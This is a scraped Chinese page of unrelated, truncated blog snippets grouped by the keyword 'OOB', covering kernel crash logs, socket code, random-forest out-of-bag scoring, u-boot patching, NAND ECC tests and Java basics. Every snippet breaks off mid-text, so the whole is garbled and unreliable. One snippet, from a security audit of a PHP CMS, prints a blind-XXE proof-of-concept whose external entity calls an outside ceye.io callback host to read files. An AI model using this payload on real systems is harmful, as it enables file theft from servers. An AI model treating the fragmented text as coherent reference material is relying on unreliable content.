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宕机日志解读
内存类 kasan OOB UAF kfence OOB UAF slub_debug 死锁 softlockup hung task数据读写flags选项的使用-MSG_OOB
客户端代码 #include <iostream> #include <cstring> #include <cassert> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include机器学习：在SAS中运行随机森林
为了在SAS中运行随机森林，我们必须使用PROC HPFOREST指定目标变量，并说明天气变量是“类别”还是“定量”。为了进行此分析，我们使用了目标（Repsone变量），该目标是分类的（SAS语言中标称的），如下面的图像代码中所描述的黄色和红色： 运行代码后，我们得到了一系列表格，这些表格将详细分析数据。例移植uboot-支持yaffs烧写,打补丁
1. 修改uboot支持yaffs首先,每个命令都会对应一个文件,比如nand命令对应的common/cmd_nand.c而我们使用nand命令时,便会进入do_nand()函数,位于common/cmd_nand.c1.1do_nand()函数代码如下所示:int do_nand(cmd_tbl_t * cmdtp, int flag, int argc, char * const argv[]js如何将数组转换成SQL可以处理的字符串
//数组为Array [ "AI", "INPUT", "MI", "OOB" ] String[] str=new String[]{"AI", "INPUT", "MI", "OOB"}; String result1= ""; for (i = 0; i < array.length; i++) { result随机森林算法OOB_SCORE最佳特征选择
Sklearn RandomForest算法（有监督学习），可以根据输入数据，选择最佳特征组合，减少特征冗余； 原理：由于随机决策树生成过程采用的Boostrap，所以在一棵树的生成过程并不会使用所有的样本，未使用的样本就叫（Out_of_bag）袋外样本，通过袋外样本，可以评估这个树的准确度，其他子树叶按这个原理评估，最后可xxe盲注踩坑
今天审计某php语言的cms，发现一个xxe，原理很简单，但是用他读取文件时踩了个坑，记录一下 使用ceye平台接收下 poc: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://ckcvlb.ceye.io/xxe_test">%remote;]><root机器学习技法10-Random Forest
注： 文章中所有的图片均来自台湾大学林轩田《机器学习技法》课程。 笔记原作者：红色石头 微信公众号：AI有道 上节课主要介绍了Decision Tree模型。Decision Tree算法的核心是通过递归的方式，将数据集不断进行切割，得到子分支，最终形成树的结构。C&RT算法是决策树比较简单和常用的一种算法ltp-ddt nand_ecc_tests
NAND_S_FUNC_ECC_2K_BCH8_8ERRS_NO_OOB_ERR source "common.sh"; nandecc_tests.sh -r "0:0:0xFF"~"1:1:0xFF"~"2:2:0xFF"~"3:3:0xFF" nandecc_tests.sh -r "0:0:0xFF"~"1:1:0xFF"~"2:2:0xFF&q1.7Oob 静态成员
1）public class Exse3 { static int iCounter = 0; String name; boolean bGender = false; int iAge; double dHeight; double dWeight; public void getCounter() { System.out.println("学生总人数为"+(++iCounter)); } public void1.7Oob方法的作用
public class Exse2 { public static void main(String[] args) { sumIntLong(10,15); sumIntLong(20,30); } public static void sumIntLong(int a,int b) { int sum = a+b; System.out.println(sum); }} 1：提高代码的复用性。 //以上代